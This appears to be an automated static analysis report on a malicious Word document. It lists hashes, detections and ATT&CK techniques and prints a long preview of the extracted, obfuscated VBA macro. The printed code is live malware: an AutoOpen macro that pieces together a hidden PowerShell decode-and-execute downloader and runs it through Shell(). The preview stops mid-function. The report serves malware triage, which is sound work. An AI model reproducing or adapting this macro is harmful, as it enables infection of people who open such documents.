Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 debe98a9011541df…

MALICIOUS

Office (OLE)

123.0 KB Created: 2018-05-23 13:30:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 02036e3f62ab6bfd3fe20a7ba477a4f3 SHA-1: 76452123d6238a95a4f719a206e7343421fefc4c SHA-256: debe98a9011541df47251e10765bd5e2bbb63c50e1dfef7719dee9ccb4ae3a9b
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen function, which is a common technique for malicious Office documents. The macros reference PowerShell and use the Shell() function, indicating an attempt to execute external commands. The reconstructed PowerShell command suggests the download and execution of a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6874680-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6874680-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Line #350:
'  Ld Shell
'  Ld wdUqlpUj
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Set Jrtmp = vnUvsw
uGEVmG = "t75Pj7TI3G4Powershell -WinDowsTyle hidden ( NeW-ObJEeS9tTIkqdqmPNeLuitzySvxtocFMBYhAablbeNe0w0YiKmftxnC2M5piUG5q2Ne59bpl"
ZELavYjrb = CStr(Left(Right(uGEVmG, 108), 40))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 109014 bytes
SHA-256: b1245efd1c6a9a66026f17927173685e90fe3169339bc0c5b2feae540826dc99
Detection
ClamAV: No threats found
Obfuscation or payload: likely
318 of 457 identifiers look randomly generated (e.g. 'buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPChn') — consistent with name-mangling obfuscation. Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jtaPPmcmFHDN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function zwIuVw()

On Error Resume Next
JSLXckofuFY = unHYwi + CSng(673666) + 888120 / Sin(619610 - CByte(488516) / 644965 - Round(673666)) + owWOfZacF * DdTXBYiYJ - (888120 + 619610 + 488516 - 6736660)
Set Jrtmp = vnUvsw
uGEVmG = "t75Pj7TI3G4Powershell -WinDowsTyle hidden ( NeW-ObJEeS9tTIkqdqmPNeLuitzySvxtocFMBYhAablbeNe0w0YiKmftxnC2M5piUG5q2Ne59bpl"
ZELavYjrb = CStr(Left(Right(uGEVmG, 108), 40))

DNDVlzA = "7buOuY6fxhGRO9CBUK18uEhCBSMDdEZ2tV4SueCxlMWJ  Io.StreacsmReaDEr( (Nt5jH5"
MOwVfG = Left(Right(DNDVlzA, 49), 1) + CStr(Left(Right(DNDVlzA, 40), 1)) + Left(Right(DNDVlzA, 28), 10) + Left(Right(DNDVlzA, 16), 11) + CStr(Left(Right(DNDVlzA, 35), 1))

QGbzAipiu = "jvudqW7buOuY6fxhGWO9CBUK-8uEhwBSMObJECt  SuSySTEm.IzUj"
iTrTBwm = CStr(Left(Right(QGbzAipiu, 37), 1)) + CStr(Left(Right(QGbzAipiu, 30), 1)) + CStr(Left(Right(QGbzAipiu, 21), 8)) + CStr(Left(Right(QGbzAipiu, 11), 8))

ahuWDpOGP = "udqW7buOuY6fxhGRO9CBUK18oEhwBSMDdE.2xV4SuPCxlcOmPRessIonbh.DeFLATEstReUt5jH"
WSRJdjGz = Left(Right(ahuWDpOGP, 51), 1) + Left(Right(ahuWDpOGP, 41), 1) + CStr(Left(Right(ahuWDpOGP, 30), 11)) + CStr(Left(Right(ahuWDpOGP, 17), 11)) + CStr(Left(Right(ahuWDpOGP, 6), 1))
sMYIZA = GRhzZFOV + CSng(678002) + 799006 / Sin(426734 - CByte(690838) / 311181 - Round(678002)) + MXaMj * odRsCZZd - (799006 + 426734 + 690838 - 6780020)
Set wYvGPtKJ = wdwwaFoJbp
JdFKBbPkww = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEAmxV4SuPCxlM(JPzUjoYRabhcsu [SysteM.Io.MH5eMoRystrEAM][CQFsBYvC"
mqPAFplLaH = CStr(Left(Right(JdFKBbPkww, 63), 2)) + Left(Right(JdFKBbPkww, 51), 1) + Left(Right(JdFKBbPkww, 36), 13) + CStr(Left(Right(JdFKBbPkww, 21), 14)) + CStr(Left(Right(JdFKBbPkww, 45), 1))

OiYIu = "udqW7buOuY6fxhGRO9CNUK18uEhVBSMDdEZ2eRt]::FRlMOMBasE64sTbhcs"
NOhlITodwzZ = CStr(Left(Right(OiYIu, 41), 1)) + Left(Right(OiYIu, 33), 1) + CStr(Left(Right(OiYIu, 24), 8)) + CStr(Left(Right(OiYIu, 14), 9)) + Left(Right(OiYIu, 5), 1)

mrhsoVT = "jvudqW7buOuY6fxhrRO9CBUi18uEhwBNG('bVZxVtb9pIEP5WJP"
jnsWwVRKHG = Left(Right(mrhsoVT, 35), 1) + CStr(Left(Right(mrhsoVT, 28), 1)) + Left(Right(mrhsoVT, 20), 7) + CStr(Left(Right(mrhsoVT, 11), 8))

pwUHLFdL = Chr(43)
vluzwYw = "7buOuY6fxhGRO9CBUK18uEhwBSMDd0v2xV4SuPCxl0WJPzSjjYRabhcHqzoFIxLj9bst5jTVWohtHWvxzUhvnzQFsB"
EaMznRGHCm = CStr(Left(Right(vluzwYw, 61), 2)) + CStr(Left(Right(vluzwYw, 49), 1)) + CStr(Left(Right(vluzwYw, 35), 12)) + CStr(Left(Right(vluzwYw, 20), 14)) + Left(Right(vluzwYw, 44), 1)

qjNTJckIifn = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPZFlMWJPzUjjYRabfcsuyCSde1j8DUt5jHHCICSTBdo2btKH89FsB3tmd8dw9BRtmJ3dnZ2K4AWR0UYP"
oNDiNNSoqJ = CStr(Left(Right(qjNTJckIifn, 79), 2)) + CStr(Left(Right(qjNTJckIifn, 64), 1)) + Left(Right(qjNTJckIifn, 46), 16) + Left(Right(qjNTJckIifn, 27), 18) + CStr(Left(Right(qjNTJckIifn, 57), 2))

ThAwAclRo = "jvueqWYbZOmY"
oHnsmnMcXSn = CStr(Left(Right(ThAwAclRo, 9), 1)) + CStr(Left(Right(ThAwAclRo, 6), 1)) + Left(Right(ThAwAclRo, 4), 1) + Left(Right(ThAwAclRo, 2), 1)
VfGmEMvfSv = OUBcVcmT + CSng(516721) + 874498 / Sin(673598 - CByte(582418) / 297156 - Round(516721)) + KaAqTpzQr * TdkdR - (874498 + 673598 + 582418 - 5167210)
Set bUWhn = wOhGzmwaIGi
KZutJmijG = Chr(43)
zpKCTEqlZNE = "7buOuY6fxhGRO9CBUK18uEhwBSMDdaL2xV4SuPCxltWJPzzjjYRabhcfA3a9fZrEP8Qt5jBSbtQ3JxQg263inzQFsB"
VMnBoiH = CStr(Left(Right(zpKCTEqlZNE, 61), 2)) + CStr(Left(Right(zpKCTEqlZNE, 49), 1)) + CStr(Left(Right(zpKCTEqlZNE, 35), 12)) + CStr(Left(Right(zpKCTEqlZNE, 20), 14)) + Left(Right(zpKCTEqlZNE, 44), 1)

TiEHf = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4djPCxlMWJPzUjjDRabhcrQyCSBt1j8D1MfWwgnXHg4jhQhdT51hO076GA6GSzswsOVbdzGLSX"
kpRdzi = Left(Right(TiEHf, 73), 2) + CStr(Left(Right(TiEHf, 59), 1)) + Left(Right(TiEHf, 42), 15) + CStr(Left(Right(TiEHf, 24), 16)) + CStr(Left(Right(TiEHf, 53), 2))

tmORMwBXTN = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVASuPCxlMWJPzUjwYRabmjsuyCSBt1j7OOHRKaziAo/sYbCxdgYHrYI/AraTqewLnABVbdzG"
EicwIEhO = Left(Right(tmORMwBXTN, 71), 2) + Left(Right(tmORMwBXTN, 57), 1) + Left(Right(tmORMwBXTN, 41), 15) + Left(Right(tmORMwBXTN, 23), 15) + Left(Right(tmORMwBXTN, 52), 2)

zSVUS = "jvudqW7buOuYgfxhGRW9CBUKo8Gznwi4RJBVZ2x"
hHjZJiO = Left(Right(zSVUS, 27), 1) + CStr(Left(Right(zSVUS, 21), 1)) + Left(Right(zSVUS, 15), 5) + CStr(Left(Right(zSVUS, 9), 6))

MQSLw = Chr(43)
ZoCFTPpwdS = "7buOuY6fxhGRO9CBUK18uEhsBSMDdEZ2VV4Su8CxlMWJwoHfILO2j2cs8lN/LqwgSV3t5jH5"
FMOzXZPh = Left(Right(ZoCFTPpwdS, 49), 1) + CStr(Left(Right(ZoCFTPpwdS, 40), 1)) + Left(Right(ZoCFTPpwdS, 28), 10) + Left(Right(ZoCFTPpwdS, 16), 11) + CStr(Left(Right(ZoCFTPpwdS, 35), 1))

MWFDBmwR = Chr(43)
HKpBzjTCEiM = NzfObFY + CSng(392862) + 632934 / Sin(971837 - CByte(664992) / 65075 - Round(392862)) + fuUzzQ * wLwuiCEJcHU - (632934 + 971837 + 664992 - 3928620)
Set AijwXPA = ikwiD
lzuALbtp = "7buOuY6fxhGRO9CBUK18uEhJBSMDdEZ2oV4SuoCxlMWJZrQCtVG0Dlcss4jaWQriI7wt5jH5"
REsSNiM = Left(Right(lzuALbtp, 49), 1) + CStr(Left(Right(lzuALbtp, 40), 1)) + Left(Right(lzuALbtp, 28), 10) + Left(Right(lzuALbtp, 16), 11) + CStr(Left(Right(lzuALbtp, 35), 1))

TRMkC = "7buOuY6fxhGRO9CBUK18uGhwBSMDdEu2xi4SuPCxvD9Myvu0LYRB4WFqYfR/Pt1j8D"
miYQL = CStr(Left(Right(TRMkC, 45), 1)) + CStr(Left(Right(TRMkC, 36), 1)) + Left(Right(TRMkC, 26), 9) + Left(Right(TRMkC, 15), 10) + CStr(Left(Right(TRMkC, 33), 1))

wNlZqRwrj = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4Sr2CxlMWJPzUjjYzabhcsOtCSBt1j8DUs2pMO1JcYbWhfGnT5nze9RO3sGFq4mWWVFs9zGLSXK4A"
aNiQORXlVk = Left(Right(wNlZqRwrj, 75), 2) + Left(Right(wNlZqRwrj, 61), 1) + Left(Right(wNlZqRwrj, 44), 15) + CStr(Left(Right(wNlZqRwrj, 25), 17)) + CStr(Left(Right(wNlZqRwrj, 55), 2))

WAYEv = "jvudqWXbuODY6fc7WI39C"
uIMiwfITSu = Left(Right(WAYEv, 15), 1) + Left(Right(WAYEv, 11), 1) + CStr(Left(Right(WAYEv, 7), 3)) + CStr(Left(Right(WAYEv, 4), 2))

JoSVdQJDSw = Chr(43)
DDRKtZsVWV = "7buOuY6fxhGRO9CBUK18uEhwBSMDdESzxV4SuPCxlM8JPzUjdYRabhcsuSAZIUIQC9WZBTH5oa0SK8RNiTfI8HQFsBYvC"
vwWlOj = CStr(Left(Right(DDRKtZsVWV, 63), 2)) + Left(Right(DDRKtZsVWV, 51), 1) + Left(Right(DDRKtZsVWV, 36), 13) + CStr(Left(Right(DDRKtZsVWV, 21), 14)) + CStr(Left(Right(DDRKtZsVWV, 45), 1))

iMvOiFmDvfv = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEfIxV4SuPCxlM3JPzUjoYRabhcsuvjmZkVBtKXp/2H5L9t6krPgdl9pyZQFsBYvC"
tjjIiTWzW = CStr(Left(Right(iMvOiFmDvfv, 63), 2)) + Left(Right(iMvOiFmDvfv, 51), 1) + Left(Right(iMvOiFmDvfv, 36), 13) + CStr(Left(Right(iMvOiFmDvfv, 21), 14)) + CStr(Left(Right(iMvOiFmDvfv, 45), 1))

jqSTiOWdt = "RWsyjv"
CPwtwpEtws = CStr(Left(Right(jqSTiOWdt, 5), 1)) + CStr(Left(Right(jqSTiOWdt, 3), 1))

HcRSrjMQMN = Chr(43)
rQoqlDS = njKiJalnHU + CSng(480402) + 269678 / Sin(43387 - CByte(18607) / 198516 - Round(480402)) + mDjztJMGQ * qROJvVA - (269678 + 43387 + 18607 - 4804020)
Set wnKkLXPpvk = PPtzNTNIRuj
RnTMhVvdHo = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPC6fMWJPzUjjYRabhcVuyCSBu6j8DUt5jH583p2msOFvIORHSV1prYvCXzulnu/KqiZ5mQ8DCtWR0UYPww9"
EobAFGV = Left(Right(RnTMhVvdHo, 81), 2) + CStr(Left(Right(RnTMhVvdHo, 65), 1)) + Left(Right(RnTMhVvdHo, 47), 17) + Left(Right(RnTMhVvdHo, 27), 18) + Left(Right(RnTMhVvdHo, 59), 2)

bmtzJfwYHI = "jvudqW7buOuY6fx5GRO9CBoK18uEhtW1Vg/IZ2h7Q9o8XxlM"
ZKFOrCUc = Left(Right(bmtzJfwYHI, 33), 1) + CStr(Left(Right(bmtzJfwYHI, 26), 1)) + CStr(Left(Right(bmtzJfwYHI, 19), 7)) + CStr(Left(Right(bmtzJfwYHI, 10), 7))

iZBrGO = "7buOuY6fxhGRO9CBUK18uEhwBSMD3vZ2xV4SuPCxgMWJWzUjjYRabhbHo7paDN9OxDUttN36fkkDrZ7TKdT5nzQ"
ZiGCvoL = CStr(Left(Right(iZBrGO, 59), 2)) + CStr(Left(Right(iZBrGO, 47), 1)) + Left(Right(iZBrGO, 34), 12) + CStr(Left(Right(iZBrGO, 19), 13)) + Left(Right(iZBrGO, 43), 1)

NDwqlZWZkS = "udqW7buOuY6fxhGRO9KBUK18uERwBSMDdEZEcJQaQFIxez23jk3/oYRab"
DHWVav = CStr(Left(Right(NDwqlZWZkS, 39), 1)) + CStr(Left(Right(NDwqlZWZkS, 31), 1)) + Left(Right(NDwqlZWZkS, 22), 8) + Left(Right(NDwqlZWZkS, 13), 8) + Left(Right(NDwqlZWZkS, 5), 1)

VArjlPMzwa = "jvudqW7buO9Y6fxtGRO9CP1398j22nbSM"
VRrqiUUsi = CStr(Left(Right(VArjlPMzwa, 23), 1)) + CStr(Left(Right(VArjlPMzwa, 18), 1)) + CStr(Left(Right(VArjlPMzwa, 12), 4)) + Left(Right(VArjlPMzwa, 7), 5)

HHiHTD = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEWRxV4SuPCxlMfJPzUjfYRabhcsuzo0DwzTgT7l6VH5ywHY0dMOphRBn1QFsBYvC"
cajmQlp = CStr(Left(Right(HHiHTD, 63), 2)) + Left(Right(HHiHTD, 51), 1) + Left(Right(HHiHTD, 36), 13) + CStr(Left(Right(HHiHTD, 21), 14)) + CStr(Left(Right(HHiHTD, 45), 1))
iuzElY = TNiZmWhti + CSng(308019) + 330033 / Sin(329825 - CByte(168956) / 4236 - Round(308019)) + TEzip * jStjNcM - (330033 + 329825 + 168956 - 3080190)
Set tpZKhw = isjomlOPcR
YVcXpCOjJWn = "7buOuY6fxhGRO9CBUK18uEYwBSMDdEZYxV4IuPCxlMPwF1EibV8hbhNaYJISn0NC8DUt5"
QLLSzbkRrfj = Left(Right(YVcXpCOjJWn, 47), 1) + Left(Right(YVcXpCOjJWn, 38), 1) + Left(Right(YVcXpCOjJWn, 27), 10) + CStr(Left(Right(YVcXpCOjJWn, 15), 10)) + CStr(Left(Right(YVcXpCOjJWn, 34), 1))

prhiU = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xITSuPCxlMWJPzYjjYRaHGcsuyCSBt6ElMSGq4BGWBSEhNWYkEwIpCGtkKlINwlsKnABVb"
bThkMdBEiIr = CStr(Left(Right(prhiU, 69), 2)) + Left(Right(prhiU, 56), 1) + CStr(Left(Right(prhiU, 40), 14)) + Left(Right(prhiU, 23), 15) + CStr(Left(Right(prhiU, 50), 2))

BSsmTnjivO = "jvudqW7buOuYDfxhGRE9CBUKlhTShwo4sBBiZ2x"
kHJcRkJXRh = Left(Right(BSsmTnjivO, 27), 1) + CStr(Left(Right(BSsmTnjivO, 21), 1)) + Left(Right(BSsmTnjivO, 15), 5) + CStr(Left(Right(BSsmTnjivO, 9), 6))

vJRzYTriB = "jvudJW7buOA16Lx"
DWlGHwbD = Left(Right(vJRzYTriB, 11), 1) + Left(Right(vJRzYTriB, 8), 1) + Left(Right(vJRzYTriB, 5), 2) + Left(Right(vJRzYTriB, 2), 1)

WPtdF = Chr(43)
anuBRPwZwz = "7buOuY6fxhGRO9CBUK18uEhwBSs2dEZ2xV4SuECxl2WJPzUjjYpINs2DARkn6t1AvyDshYSpnVAXhNWCx"
PozmUIUWi = Left(Right(anuBRPwZwz, 55), 2) + CStr(Left(Right(anuBRPwZwz, 44), 1)) + Left(Right(anuBRPwZwz, 31), 11) + CStr(Left(Right(anuBRPwZwz, 18), 12)) + CStr(Left(Right(anuBRPwZwz, 40), 1))

FdpDBTkouP = "7buOuY6fxhGRO9CBUK18uEhwBSMD0SZ2xV4SuPCxQMWJRzUjjYRabLClqUkqHgYrODUtRYCHMhgdEPVCkdT5nzQ"
SHAHWJctudN = CStr(Left(Right(FdpDBTkouP, 59), 2)) + CStr(Left(Right(FdpDBTkouP, 47), 1)) + Left(Right(FdpDBTkouP, 34), 12) + CStr(Left(Right(FdpDBTkouP, 19), 13)) + Left(Right(FdpDBTkouP, 43), 1)
ACNpobvdM = zjbUoQEiQD + CSng(156893) + 67919 / Sin(93090 - CByte(834471) / 369343 - Round(156893)) + CNimkRnB * zjdvNYJDT - (67919 + 93090 + 834471 - 1568930)
Set JNGiNwvO = EUAwNFzoi
zYsJPdYqYfS = "jvudqW7buOuYofxhGRg9CBUKmm0QbwvVbk60Z2x"
wDjJic = Left(Right(zYsJPdYqYfS, 27), 1) + CStr(Left(Right(zYsJPdYqYfS, 21), 1)) + Left(Right(zYsJPdYqYfS, 15), 5) + CStr(Left(Right(zYsJPdYqYfS, 9), 6))

lROzpIjP = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPChnMWJPzUjjYRabhc6uyCSBsEj8DUt5jH58pwHESYPHfJXepCvGzYvCXVfC6awtcSQaUBqvDQWR0UYPww9"
rZmdEN = Left(Right(lROzpIjP, 81), 2) + CStr(Left(Right(lROzpIjP, 65), 1)) + Left(Right(lROzpIjP, 47), 17) + Left(Right(lROzpIjP, 27), 18) + Left(Right(lROzpIjP, 59), 2)

WjPpOQ = "7buOuY6fxhGRO9CBUK181EhwBSMDjEZ2PV4SuPRU4ZLMgi6jjWpwVWhj9WCSBt1"
LztbBOEL = Left(Right(WjPpOQ, 43), 1) + Left(Right(WjPpOQ, 35), 1) + Left(Right(WjPpOQ, 25), 9) + Left(Right(WjPpOQ, 14), 9) + Left(Right(WjPpOQ, 31), 1)

KjBEtXnJUYp = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xHpSuPCxlMWJPzpjjYRaAhcsuyCSBtCRkq2IUVK0UvlghNWVnCC/Q4l2LMSBIglsKnABVb"
lduIwZjol = CStr(Left(Right(KjBEtXnJUYp, 69), 2)) + Left(Right(KjBEtXnJUYp, 56), 1) + CStr(Left(Right(KjBEtXnJUYp, 40), 14)) + Left(Right(KjBEtXnJUYp, 23), 15) + CStr(Left(Right(KjBEtXnJUYp, 50), 2))

LqiQCVpF = "udqW7buOuY6fxhGRO9CXUK18uEh0BSMDdEZ2IvJ86gqMlMm0EJGEsWIRbhcs"
kOliwwoYO = CStr(Left(Right(LqiQCVpF, 41), 1)) + Left(Right(LqiQCVpF, 33), 1) + CStr(Left(Right(LqiQCVpF, 24), 8)) + CStr(Left(Right(LqiQCVpF, 14), 9)) + Left(Right(LqiQCVpF, 5), 1)

ifMWazoJ = "jvudqW7buOuY6IxhGROcCBUK18vc9lR5M7jmUQXV4S"
FABJijL = Left(Right(ifMWazoJ, 29), 1) + CStr(Left(Right(ifMWazoJ, 23), 1)) + Left(Right(ifMWazoJ, 16), 6) + Left(Right(ifMWazoJ, 9), 6)

mHSXhXqLf = "jvudqW7buXuY6fMhGROzzljK4Bbvhw"
wwYFmYufoTO = Left(Right(mHSXhXqLf, 21), 1) + Left(Right(mHSXhXqLf, 16), 1) + Left(Right(mHSXhXqLf, 11), 4) + Left(Right(mHSXhXqLf, 6), 4)
ONhroKib = jSIUJw + CSng(839516) + 411679 / Sin(556707 - CByte(277288) / 509233 - Round(839516)) + HIfjUJqD * jiPswJD - (411679 + 556707 + 277288 - 8395160)
Set uAFKH = KwnNm
UmifTauDPXc = Chr(43)
ZAlLsk = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2eF4SuPCxlMWJPbUjjYRibhcsuyCSz9Qc20lQhrqLr1MXhofXxQ7O9sNBrGPQCklsKnA"
ihZITt = CStr(Left(Right(ZAlLsk, 67), 2)) + CStr(Left(Right(ZAlLsk, 54), 1)) + Left(Right(ZAlLsk, 39), 14) + Left(Right(ZAlLsk, 22), 15) + Left(Right(ZAlLsk, 48), 1)

uznCKW = "7buOuY6fxhGRO9CBUK18uEhfBSMDdEZ2XV4SucCxlMWJqBZM1CCyoMcslM5o6c92QCot5jH5"
ZqOspDWc = Left(Right(uznCKW, 49), 1) + CStr(Left(Right(uznCKW, 40), 1)) + Left(Right(uznCKW, 28), 10) + Left(Right(uznCKW, 16), 11) + CStr(Left(Right(uznCKW, 35), 1))

BNJfPQioD = "udqW7buOuY6fxhGRO9CBUK18GEhwBSMDdEe2xV4SuPCxlmzcJKuKBHbzbh6xJ6m7N0HJWwUt5jH"
oDwSPzvfai = Left(Right(BNJfPQioD, 51), 1) + Left(Right(BNJfPQioD, 41), 1) + CStr(Left(Right(BNJfPQioD, 30), 11)) + CStr(Left(Right(BNJfPQioD, 17), 11)) + CStr(Left(Right(BNJfPQioD, 6), 1))

ifidZ = "7buOuY6fxhGRO9CBUK18uEhfBSMDdEZ2sV4Su/CxlMWJ9logZKJvzQcsY3WrNHefsgUt5jH5"
izXksN = Left(Right(ifidZ, 49), 1) + CStr(Left(Right(ifidZ, 40), 1)) + Left(Right(ifidZ, 28), 10) + Left(Right(ifidZ, 16), 11) + CStr(Left(Right(ifidZ, 35), 1))

EiaKhP = "7buOuY6fxhGRO9CBUK18uvhwBSMDdE/2xE4SuPCxeaZruqnJnYRcJvRKBDiSUt1j8D"
NdBhhuT = CStr(Left(Right(EiaKhP, 45), 1)) + CStr(Left(Right(EiaKhP, 36), 1)) + Left(Right(EiaKhP, 26), 9) + Left(Right(EiaKhP, 15), 10) + CStr(Left(Right(EiaKhP, 33), 1))
zwIuVw = ZELavYjrb + MOwVfG + iTrTBwm + WSRJdjGz + mqPAFplLaH + NOhlITodwzZ + jnsWwVRKHG + pwUHLFdL + EaMznRGHCm + oNDiNNSoqJ + oHnsmnMcXSn + KZutJmijG + VMnBoiH + kpRdzi + EicwIEhO + hHjZJiO + MQSLw + FMOzXZPh + MWFDBmwR + REsSNiM + miYQL + aNiQORXlVk + uIMiwfITSu + JoSVdQJDSw + vwWlOj + tjjIiTWzW + CPwtwpEtws + HcRSrjMQMN + EobAFGV + ZKFOrCUc + ZiGCvoL + DHWVav + VRrqiUUsi + cajmQlp + QLLSzbkRrfj + bThkMdBEiIr + kHJcRkJXRh + DWlGHwbD + WPtdF + PozmUIUWi + SHAHWJctudN + wDjJic + rZmdEN + LztbBOEL + lduIwZjol + kOliwwoYO + FABJijL + wwYFmYufoTO + UmifTauDPXc + ihZITt + ZqOspDWc + oDwSPzvfai + izXksN + NdBhhuT

End Function

Function EGtoc()

On Error Resume Next
JzkGVBwPvp = lCQkqHYQCV + CSng(233383) + 529351 / Sin(197778 - CByte(868646) / 656046 - Round(233383)) + qHAsOiakc * MnmwXIqaLim - (529351 + 197778 + 868646 - 2333830)
Set IvlPEjLFjZS = IcFcmToLM
ijwFIBIppwW = "udqW7buOuY6fxhGRO9LBUK18uEzwBSMDdEZIV5xMfEZxUE8sQSwT6YRab"
FcQwkX = CStr(Left(Right(ijwFIBIppwW, 39), 1)) + CStr(Left(Right(ijwFIBIppwW, 31), 1)) + Left(Right(ijwFIBIppwW, 22), 8) + Left(Right(ijwFIBIppwW, 13), 8) + Left(Right(ijwFIBIppwW, 5), 1)

JRzHVdqjPWO = "jvudqW7buOuY6mxhGROkCBUK18klyRkNMbxmLnMV4S"
piPrqqSi = Left(Right(JRzHVdqjPWO, 29), 1) + CStr(Left(Right(JRzHVdqjPWO, 23), 1)) + Left(Right(JRzHVdqjPWO, 16), 6) + Left(Right(JRzHVdqjPWO, 9), 6)

RuGqjuQRmwp = "jvudqW7buOuY6fVhGRO9eBUK18uEMuKrrIdYKQQ1GouPC"
znbuuKjw = CStr(Left(Right(RuGqjuQRmwp, 31), 1)) + CStr(Left(Right(RuGqjuQRmwp, 25), 1)) + Left(Right(RuGqjuQRmwp, 17), 6) + Left(Right(RuGqjuQRmwp, 10), 7)

kGXYo = Chr(43)
FappfDM = "jvudVW7ruOr664x"
LMqtfhnzZW = Left(Right(FappfDM, 11), 1) + Left(Right(FappfDM, 8), 1) + Left(Right(FappfDM, 5), 2) + Left(Right(FappfDM, 2), 1)

mELijTbCM = Chr(43)
NdCMmZRONkW = "udqW7buOuY6fxhGRO9WBUK18uEcwBSMDdEZ9DPXvLoFxgttDC1nnGYRab"
pIRuvTzAQ = CStr(Left(Right(NdCMmZRONkW, 39), 1)) + CStr(Left(Right(NdCMmZRONkW, 31), 1)) + Left(Right(NdCMmZRONkW, 22), 8) + Left(Right(NdCMmZRONkW, 13), 8) + Left(Right(NdCMmZRONkW, 5), 1)

Qubfi = Chr(43)
iwSbri = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEUsxV4SuPCxlM8JPzUj3YRabhcsu80cpFelsV30pJH5VZzG9iHb7tYVR6QFsBYvC"
ZzsLpCXLXcl = CStr(Left(Right(iwSbri, 63), 2)) + Left(Right(iwSbri, 51), 1) + Left(Right(iwSbri, 36), 13) + CStr(Left(Right(iwSbri, 21), 14)) + CStr(Left(Right(iwSbri, 45), 1))

HKFXQra = "jvudqW7buOaY6fq4l0T9C"
DmvWbGWD = Left(Right(HKFXQra, 15), 1) + Left(Right(HKFXQra, 11), 1) + CStr(Left(Right(HKFXQra, 7), 3)) + CStr(Left(Right(HKFXQra, 4), 2))
lGXTiaziGu = UIbaaQi + CSng(267765) + 814755 / Sin(947812 - CByte(159962) / 400365 - Round(267765)) + stCrfzG * WsTLZPjR - (814755 + 947812 + 159962 - 2677650)
Set aPfQAiO = ZIWYGUMj
wVljjBuNnt = Chr(43)
ViVhdn = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVDguPCxlMWJPzUjVYRab5TsuyCSBt1j7yehtA63NG6WnSvCxdbq9eWLG2nLXvK7VnABVbdzG"
VwaAoKjW = Left(Right(ViVhdn, 71), 2) + Left(Right(ViVhdn, 57), 1) + Left(Right(ViVhdn, 41), 15) + Left(Right(ViVhdn, 23), 15) + Left(Right(ViVhdn, 52), 2)

rzXlFb = "jvuoqWhb3O8Y"
DljfDs = CStr(Left(Right(rzXlFb, 9), 1)) + CStr(Left(Right(rzXlFb, 6), 1)) + Left(Right(rzXlFb, 4), 1) + Left(Right(rzXlFb, 2), 1)

TPiziwwt = Chr(43)
MGqMbVl = "jvudqW7buOuYafxhGRR9CBUKADFdYwW0LTCGZ2x"
VDEmKWhSM = Left(Right(MGqMbVl, 27), 1) + CStr(Left(Right(MGqMbVl, 21), 1)) + Left(Right(MGqMbVl, 15), 5) + CStr(Left(Right(MGqMbVl, 9), 6))

WsGOIaoWYBb = "7buOuY6fxhGRO9CBUK18uEhtBSMDdEZ28V4SuQCxlMWJ9SN2tqoqHGcsQ8NhwOhfhs2t5jH5"
TPKtuCIKkN = Left(Right(WsGOIaoWYBb, 49), 1) + CStr(Left(Right(WsGOIaoWYBb, 40), 1)) + Left(Right(WsGOIaoWYBb, 28), 10) + Left(Right(WsGOIaoWYBb, 16), 11) + CStr(Left(Right(WsGOIaoWYBb, 35), 1))

FLwUziziB = "jvudqW7buOuY6fxhGFO9CBUKQ8uEhwBSMfmXubqbGSukN93RJ/szUj"
FfoaazEwsY = CStr(Left(Right(FLwUziziB, 37), 1)) + CStr(Left(Right(FLwUziziB, 30), 1)) + CStr(Left(Right(FLwUziziB, 21), 8)) + CStr(Left(Right(FLwUziziB, 11), 8))
lOjwQXPL = YcWTNTisa + CSng(365761) + 137986 / Sin(548261 - CByte(684256) / 963380 - Round(365761)) + ZZMDIVmOPQ * bQBSnlA - (137986 + 548261 + 684256 - 3657610)
Set CjMYOJb = zEFcQwBVAYL
